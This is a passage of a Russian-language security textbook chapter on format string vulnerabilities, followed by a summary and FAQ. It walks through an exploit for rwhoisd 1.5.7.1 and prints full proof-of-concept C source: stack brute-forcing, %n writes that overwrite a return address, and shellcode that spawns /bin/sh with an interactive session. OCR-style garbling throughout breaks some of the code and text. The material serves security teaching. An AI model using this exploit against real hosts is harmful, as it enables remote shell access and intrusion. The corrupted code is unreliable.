Рассмотрим пример программы атаки на основе форматирующей строки. В случае программ, аналогичных программе rwhoisd, перед злоумышленником стоит задача выполнить злонамеренный программный код, который должен обеспечить доступ к главному хосту.

Программа атаки была написана для уже упоминавшейся ранее программы rwhoisd версии 1.5.7.1, откомпилированной на системе i386 Linux. Как уже говорилось, для выполнения злонамеренного программного кода программа атаки должна подменить величину, которая в некоторый момент времени интерпретируется атакованным процессом как адрес выполняемых команд. В рассматриваемой программе атаки адрес возврата из функции подменяется на адрес злонамеренного программного кода, который при помощи функции execQ запускает /bin/sh и обеспечивает доступ к клиенту.

Первое, что должна сделать программа атаки, - это подключиться к сервису сервера RWHOIS и найти форматирующую строку в стеке. После подключения к сервису функция brute force() программы атаки отсылает ему форматирующую строку. В начало форматирующей строки записана константа 0x6262626262, которая является признаком ее начала. Функция brute force() включает в форматирующую строку такие спецификации преобразования, которые увеличивают размер выводимой области стека. Сервис во время обработки переданной форматирующей строки последовательно извлекает из стека слова и возвращает их обратно программе атаки. Получив ответ сервера, программа атаки сравнивает полученные слова с признаком начала форматирующей строки и находит форматирующую строку. Использование константы 0x6262626262 в качестве признака начала форматирующей строки позволяет упростить алгоритм работы, не думая о возможных осложнениях из-за выравнивания данных в памяти.

if((*ptr == “0”) && (*(ptr+l) == “х”)) {

memcpy(segment,ptr, 10); segment[10] = “\0”; chekit = strtoul(segment,NULL,16); if(chekit == FINDME)
{
printf(“*b00m*: found address #1: %i words away An”,i); foundit = i; return foundit;
}
ptr+= 10;
}

Содержимое стека просматривается с помощью спецификаций преобразования %010р. Спецификация формата %010р выводит очередное слово стека в восьмисимвольном шестнадцатеричном представлении с предшествующими символами Ох. С помощью функции библиотеки языка С strtoulQ каждая из выведенных строк преобразуется в длинное целое двоичное число без знака. Главное, что должна сделать программа, - это выполнить произвольный программный код. Для этого ей нужно подменить величины, которые могут указывать на выполнимые команды. Одной из них является адрес точки возврата из функции. Ранее уже отмечалось, что при переполнении буфера часто перезаписываются адреса возврата из функций. Адреса возврата перезаписываются по двум причинам. Во-первых, они находятся в стеке, а во-вторых, при переполнении буфера их можно перезаписать. В рассматриваемой программе адрес возврата из функции подменяется на адрес злонамеренного программного кода, прежде всего из-за легкости, с которой выполняется эта операция.

В программе атаки переписывается адрес возврата функции print errorQ, который при вызове функции сохраняется в стеке. Поскольку программа предназначена только для демонстрации возможности подобных действий и на момент тестирования программы атаки адрес возврата из функции print errorQ находился в стеке сервиса по адресу 0xbffff8c8, то адрес перезаписываемой области в программе атаки задан символической константой TARGET.

После определения программой атаки адреса форматирующей строки формируется новая строка со спецификациями преобразования %п. Для подмены адреса возврата спецификациям %п должны соответствовать параметры, через которые передается адрес перезаписываемой области данных. Для поиска нужных адресов используются спецификации преобразования %х с указанием ширины поля, которые просматривают нужное число слов в стеке. В программе атаки необходимую последовательность спецификаций преобразования %х функция get strQ формирует автоматически по результатам работы функции brute force (). for(i = 0;i<num-l;i++) {

stmcat(str,“%x”,2); // work our way to where target is
}

В переменной пит хранится число просмотренных слов стека, предшествующих форматирующей строке. Число просмотренных слов определяется функцией brute force(). Осталось определить адрес записи. Адрес возврата перезаписывается ранее обсуждавшимся способом многократной записи. Для формирования четырехбайтного адреса используют четыре операции записи с различным смещением от начала перезаписываемой области данных. Адреса каждого из четырех байтов перезаписываемой области помещаются в отсылаемую строку:

*((long *)(str+8)) = TARGET; // target *((long *)(str+16)) = TARGET+1;
*((long *)(str+24)) = TARGET+2;
*((long *)(str+32)) = TARGET+3;
str[36] = “\0”;

Следующий шаг состоит в записи правильных величин, определяющих адрес злонамеренного управляющего программного кода в стеке. Поскольку программа атаки только демонстрирует обсуждаемые возможности, то в ней в качестве адреса злонамеренного управляющего программного кода используется постоянный адрес 0xbffff99d. При формировании адреса 0xbffff99d в каждый байт выделенной для записи области помещаются младшие разряды величин, специально подобранных программой атаки:

TARGET - 9d TARGET+1 - f9 TARGET+2 - ff TARGET+3 - bf

Ранее уже обсуждалось использование спецификаций преобразования %п для записи младших разрядов данных. В последовательные возрастающие адреса памяти, задаваемые символическими константами TARGET, TARGET+1, TARGET+2 и TARGET+3, записываются младшие байты специально подобранных величин, которые совпадают с одним из байтов адреса программного кода. Например, при использовании спецификации преобразования %125х в область памяти, адрес которой равен значению константы TARGET, записывается величина, младший байт которой совпадает с младшим байтом адреса программного кода. Указав в спецификации преобразования %х ширину выводимого поля и применив способ многократной записи, можно сформировать в нужной области памяти адрес программного кода:

stmcat(str,“%227x”,5); // padding stmcat(str,“%n”,2); // first write
stmcat(str,“%92x”,4); // padding
stmcat(str,“%n”,2); // second write
stmcat(str,“%262x”,5); // padding
stmcat(str,“%n”,2); // third write
stmcat(str,“%192x”,5); // padding
stmcat(str,“%n”,2); // fourth write

Следует отметить, что используемые в спецификации преобразования значения ширины выводимого поля полностью зависят от общего числа символов в отформатированной строке. При выводе отформатированной строки значение ширины поля можно определить автоматически программным способом. Как только адрес возврата функции будет переписан, функция vjprin1f() завершится обычным образом, злонамеренный управляющий программный код будет выполнен, а функция print error() завершена. На рисунке 9.2 показан пример успешного использования уязвимости форматирующей строки.

Использование уязвимости форматирующей строки программы rwhoisd для проникновения на хост Ниже приведен исходный текст программы атаки

Рис. 9.2. Использование уязвимости форматирующей строки программы rwhoisd для проникновения на хост Ниже приведен исходный текст программы атаки:

// proof of concept // written for rwhoisd 1.5.7.1 compiled on a Linux/i386 system
//
// overwrites return address at 0xbffff8c8 and replaces it with // address of shellcode (for this binary)
// the shellcode is based on that which was included // in an exploit written by ‘CowPower’.

// http://www.securityfocus.eom/archive/l/222756 #include <stdio.h>

#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ermo.h>
#include <linux/in.h> extern int ermo;
#define FINDME 0x62626262 // we need to find this in the stack #define TARGET 0xbffff8c8 // the address that we are overwriting void gen_str(char *str, int found,int target); unsigned int brute_force(int s, char *str,char *reply); void session(int s); int main(int argc, char *argv[])
{
int s; fd_set fd; int amt; struct sockaddr in sa; struct sockaddr in ca; int where = 0; char reply[5000]; // receive buffer char str[1000]; // send buffer str[0] = // - directive prefix
str[l] =“s”; str[2] = “o”; str[3] = “a”; str[4] = “ ”; // padding str[5] = “ ”; // padding str[6] = “ ”; // padding str[7] = “ ”; // padding *((long *)(str+8)) = FINDME; // find me in the stack str[12] = “\0”; bzero(&ca,sizeof(struct sockaddr in)); bzero(&sa,sizeof(struct sockaddr in)); if ((s = socket(AF_INET, SOCK STREAM, 0)) < 0)
{
perror(“ socket:”);
}
if (bind(s,&ca,sizeof(struct sockaddr in)) < 0)
{
perror(”bind:”);
}
sa.sin_addr.s_addr = inet_addr(“ 127.0.0.1”); sa.sin_port = htons(4321); sa.sin_family = AF_INET; if (connect(s,&sa,sizeof(stmct sockaddr in)) < 0)
{
perror(“ connect”);
}
where = brute_force(s,reply,str); // brute force gen_str(str,where,TARGET); // generate exploit string
write(s,str,strlen(str)); // send exploit code while(l)
{
amt = read(s,reply,l); if (reply [0] == “\n”) break;
}
write(s,“id;\n”,4); amt = read(s,reply,1024); reply [amt] = “\0”; if ((reply [0] == “u”) && (reply [1] == “i”) && (reply [2]
== “d”))
{
printf(“*b00m*: %s\n”,reply); session(s);
}
else
{
printf(“exploit attempt unsuccessful..'\n”);
}
close(s);
exit(0);
}
unsigned int brute_force(int s,char *reply, char *str)
{
// this function searches the stack on the victim host // for the format string int foundit = 0; int amt = 0; int i = 0;
amt = read(s,reply,500); // read in the header, junk reply [amt] = “\0”; while(! foundit)
{
strncat(str,“%01 Op”, 5); write(s, str, strlen(str)+1);
write(s,“\n”,l); amt = read(s,reply,1024); if (amt == 0)
{
fprintf(stderr,“Connection closedAn”); close(s); exit(-l);
}
reply [amt] = “\0”; amt = 0;
i = 0;
while(reply[amt-l] !=“\n”)
{
i += amt; amt = read(s, reply+i, 1024); if (amt == 0)
{
fprintf(stderr,“Connection closedAn”); close(s); exit(-l);
}
}
reply [amt] = “\0”; foundit = findaddr(reply);
}
}
int find_addr(char *str)
{
// this function parses server output.
// searches in words from the stack for // the format string char *ptr; char segment[ll]; unsigned long chekit = 0; int i = 0; int foundit = 0; ptr = str + 6; while((*ptr != “\0”) && (*ptr != “\n”))
{
if((*ptr == “0”) && (*(ptr+l) == “x”))
{
memcpy(segment,ptr, 10); segment[10] = “\0”; chekit = strtoul(segment,NULL,16); if(chekit == FINDME)
{
printf(“*b00m*: found address #1: %i words away An”,i); foundit = i; return foundit;
}
ptr+= 10;
}
else if ((*ptr == “ ”) && (*(ptrf 1) == “ ”))
{
ptr += 10; // 0x00000000 }
i++;
}
return foundit;
}
void gen_str(char *str,int num,int target)
{
// this function generates the exploit string // it contains the addresses to write to,
// the format specifiers (padding, %n’s)
// and the shellcode int i; char * shellcode =
\x90\x31\xdb\x89\xc3\x43\x89\xcb\x41\xb0\x3f\xcd\x80\xeb\x25\x5e”
\x89\xf3\x83\xc3\xe0\x89\x73\x28\x31\xc0\x88\x43\x27\x89\x43\x2c”
“\x83\xe8\xf5\x8d\x4b\x28\x8d\x53\x2c\x89\xf3\xcd\x80\x31\xdb”
“\x31\xc0\x40\xcd\x80\xe8\xd6\xff\xff\xff/bin/sh”;
memset(str+8,0x41,992); // clean the buffer *((long *)(str+8)) = TARGET; // place the addresses *((long *)(str+16)) = TARGET+1; // in the buffer *((long *)(str+24)) = TARGET+2;
*((long *)(str+32)) = TARGET+3;
*((long *)(str+36)) = TARGET+4; str[36] = “\0”; for(i = 0;i<num-l;i++)
{
stmcat(str,“%x”,2); // work our way to where target is
}
// the following section is binary dependent strncat(str,“%227x”,5); // padding stmcat(str,“%n”,2); // first write strncat(str,“%92x”,4); // padding strncat(str,“%n”,2); // second write strncat(str,“%262x”,5); // padding stmcat(str,“%n”,2); // third write strncat(str,“%192x”,5); // padding stmcat(str,“%n”,2); // fourth write strncat(str,shellcode,strlen(shellcode)); // insert the shellcode
stmcat(str,»\n»,l); // terminate with a newline
}
void session(int s)
{
// this function facilitates communication with a // shell exec()’d on the victim host. fd_set fds; int i; char buf[1024];
FD_ZERO(&fds);
while(l)
{
FD_SET(s, &fds);
FD_SET(0, &fds); select(s+l, &fds, NULL, NULL, NULL); if (FD_ISSET(0,&fds))
{
i = 0;
bzero(buf,sizeof(buf)); fgets(buf,sizeof(buf)-2, stdin); write(s,buf, strlen(buf));
}
else
if (FD_ISSET(s,&fds))
{
i = 0;
bzero(buf,sizeof(buf));
if ((i = read(s,buf,1024)) == 0)
{
printf(“connection lostAn”); exit(0);
}
buf[i] = “\0”; printf(“%s”,buf);
}
}
}

Резюме

Уязвимость форматирующей строки является одним из последних дополнений к стандартному набору уловок злоумышленника.

В последнее время применяемые злоумышленниками способы использования ошибок программного обеспечения стали гораздо изощреннее. Одна из причин усложнения инструментария злоумышленников состоит в том, что стало больше злоумышленников, стало больше любопытных, высматривающих что-либо полезное для себя, и стало больше ревизоров, внимательно исследующих исходные тексты программ. Сейчас стало намного легче узнать о работе систем, об уязвимости программ и о том, как их можно использовать в своих целях.

В основном злоумышленники осмыслили пользу, которую им могут принести ошибки программирования. Долгое время программисты использовали функции printfQ, не подозревая об ужасных последствиях их неправильного применения. До последнего времени никто не предполагал, что уязвимости форматирующей строки могут быть использованы для передачи управления злонамеренному программному коду. В дополнение к ошибкам форматирующей строки появились новые способы, например переписывание структур динамически распределяемой памяти, использование функций освобождения памяти для перезаписи указателей и ошибки целых индексов со знаком (signed integer index errors).

Злоумышленники хорошо разбираются в интересующих их вопросах. Они знают, как воспользоваться коварными ошибками в программах. Ныне злоумышленники изучают каждую программу, анализируя ее реакцию на различные варианты входных данных. Сейчас как никогда для программистов важно осознать, что многие ошибки, ранее считавшиеся безобидными, могут привести к серьезным последствиям, если их вовремя не исправить. Системные администраторы и пользователи должны знать, что в используемых программах скрытно присутствуют ошибки программного обеспечения, ныне представляющиеся несущественными, но пригодные для использования в злонамеренных целях.

Конспект

Уязвимость форматирующей строки

• Уязвимость форматирующей строки обязана своим происхождением программистам, позволяющим присваивать входные данные программы параметрам функции printfQ без необходимой в таких случаях проверки.

• Уязвимость форматирующей строки позволяет злоумышленникам читать из памяти данные программы и записывать в память данные злоумышленника.

Уязвимость форматирующей строки может быть использована для вызова произвольного программного кода посредством подмены адресов возврата, содержимого таблицы GOT, указателей на функции и т. д.

Пример уязвимой программы

• Признаком уязвимой программы является наличие в ней функции printfQ, параметрами которой являются переменные, соответствующие спецификациям преобразования форматирующей строки.

• Применяя функции, использующие внутри себя функцию printfQ, программисты часто забывают о возможности формирования форматирующей строки и параметров функции printfQ из входных данных этих функций.

• Неправильное использование функции syslogQ является причиной значительного числа уязвимостей форматирующей строки, большинство из которых чревато опасными последствиями.

Тестирование программ способом случайной форматирующей строки

• Тестирование программ способом случайной форматирующей строки позволяет выявить уязвимости форматирующей строки, исследуя реакцию программы на различные варианты спецификаций формата.

• Спецификации формата %s, %х, %р могут указывать на уязвимости форматирующей строки, если в отформатированной строке они замещаются данными из памяти. Использование этих спецификаций формата не всегда свидетельствует о наличии в программе уязвимости форматирующей строки, так же как и не все уязвимости проявляются при выводе отформатированной строки.

• Аварийное завершение процесса из-за спецификаций преобразования %п или %5, которым соответствуют входные данные программы, свидетельствует об уязвимости форматирующей строки.

Программа атаки с использованием форматирующей строки

• Программы атаки с использованием форматирующей строки могут читать одни данные из памяти и записывать другие в память. Уязвимость форматирующей строки не обязательно зависит от используемой платформы. Известны примеры программ, как, например, утилита Screen, которые могут выполнить злонамеренный программный код в разных операционных системах на машинах с различной архитектурой.

При использовании уязвимости форматирующей строки в случае вывода отформатированной строки злоумышленник может, прочитав данные из памяти, воспользоваться ими для решения стоящих перед ним задач. Программы атаки могут восстанавливать стек атакованного процесса и автоматически определять место размещения спецификации преобразования %п в форматирующей строке.

При наличии уязвимости форматирующей строки злоумышленник может воспользоваться способом многократной записи произвольных величин в память. Этим способом злоумышленник можно записать произвольные данные пользователя практически в любую доступную область памяти.

• На платформах, где не разрешается записывать данные в память по невыровненным адресам памяти, как, например, на платформе RISC, спецификация преобразования %hn может быть использована для записи коротких целых величин в адреса памяти, выровненные по двухбайтовым границам.

Часто задаваемые вопросы

Наиболее часто авторы книги отвечали на приведенные ниже вопросы. Вопросы интересны тем, что они позволяют читателю лучше усвоить изложенный в главе материал и реализовать его на практике в интересах обеспечения безопасности вычислительных систем. Если у читателя возникли вопросы по главе, то зайдите на сайт www.syngress.com/solutions и щелкните мышкой на кнопке «Ask the Author».

Вопрос: Защищают ли от уязвимости форматирующей строки конфигурации стека, запрещающие хранить в памяти выполнимый код, или схемы защиты стека типа StackGuard? Ответ: К сожалению, нет. Уязвимость форматирующей строки позволяет злоумышленнику записать нужные ему данные практически в любую область памяти. StackGuard защищает целостность стекового фрейма, а конфигурация стека, запрещающая хранение в стеке выполнимых команд, не позволяет командам выполниться из стека. Благодаря уязвимости форматирующей строки эти две схемы защиты могут быть преодолены. Для того чтобы обойти защиту StackGuard, злоумышленник может вместо адресов возврата функций подменять ссылки на выполняемые команды, а злонамеренный управляющий программный код записать вне стека, например в динамически распределяемую область памяти. Хотя средства защиты стека, такие как StackGuard и выбор конфигурации стека, запрещающей хранение в стеке выполнимых команд, могут отразить некоторые известные атаки, тем не менее для квалифицированного злоумышленника эти средства защиты не преграда.

Вопрос: Специфичны ли уязвимости форматирующей строки в системе UNIX? Ответ: Нет. Благодаря частому использованию функции printfQ уязвимости форматирующей строки в системе UNIX аналогичны уязвимостям форматирующей строки в других операционных системах. Большой вклад в специфику уязвимостей форматирующей строки системы UNIX вносит неверное использование функции syslog(). Возможность использования злоумышленником этих ошибок, включая запись в память, зависит от того, поддерживает ли реализация функции printfQ спецификацию преобразования %п. Если поддерживает, то теоретически любая программа, в которой есть ошибки форматирующей строки и которая отредактирована с этой библиотекой, может быть использована для выполнения произвольного программного кода.

Вопрос: Как можно обнаружить уязвимость форматирующей строки? Ответ: Большое количество уязвимостей форматирующей строки может быть обнаружено при анализе исходных текстов программ. Кроме того, их можно обнаружить, анализируя параметры функции printfQ. Вызов любой функции из семейства функций printfQ с единственным параметром, сформированным из входных данных программы, ясно свидетельствует об уязвимости форматирующей строки.

Вопрос: Как избежать или минимизировать риск от неизвестной уязвимости форматирующей строки в своей программе у себя на системе? Ответ: Для начала надо выработать политику безопасности. Положитесь на модель минимальных привилегий (least-privileges model). Гарантируйте, что будут инсталлированы действительно нужные утилиты, которые могут быть запущены членами доверенной группы. Отключите или заблокируйте доступ ко всем сервисам, которые не являются действительно необходимыми.

Вопрос: Что может служить признаками попыток использования уязвимостей форматирующей строки? Ответ: Этот вопрос уместен, потому что много уязвимостей форматирующей строки обязаны своим происхождением неверному использованию функции syslogQ. Когда злоумышленник использует уязвимость форматирующей строки, возникшую в результате неверного использования функции syslogQ, отформатированная строка выводится в поток журнала. Администратор, просматривая системный журнал, может выявить попытку воспользоваться уязвимостью форматирующей строки по необычной строке системного журнала. Другими общими признаками использования уязвимости форматирующей строки является пропадание программ демонов или регулярное их аварийное завершение из-за ошибок нарушения доступа.

Вопрос: Где можно найти дополнительные материалы о поиске и использовании уязвимости форматирующей строки? Ответ: По этой теме известно много материалов. Официальный документ, подготовленный Тимом Невшамом (Tim Newsham) и изданный Gaurdent, можно найти на сайте www.guardent.com. Также рекомендуется просмотреть материалы TESO (www.team-teso.net/articles/formatstring) и HERT

(www.hert.org/papers/format.html).

Тестирование программ способом случайной форматирующей строки | Защита от хакеров корпоративных сетей | Прослушивание сетевого графика


Защита от хакеров корпоративных сетей



Новости за месяц

  • Октябрь
    2019
  • Пн
  • Вт
  • Ср
  • Чт
  • Пт
  • Сб
  • Вс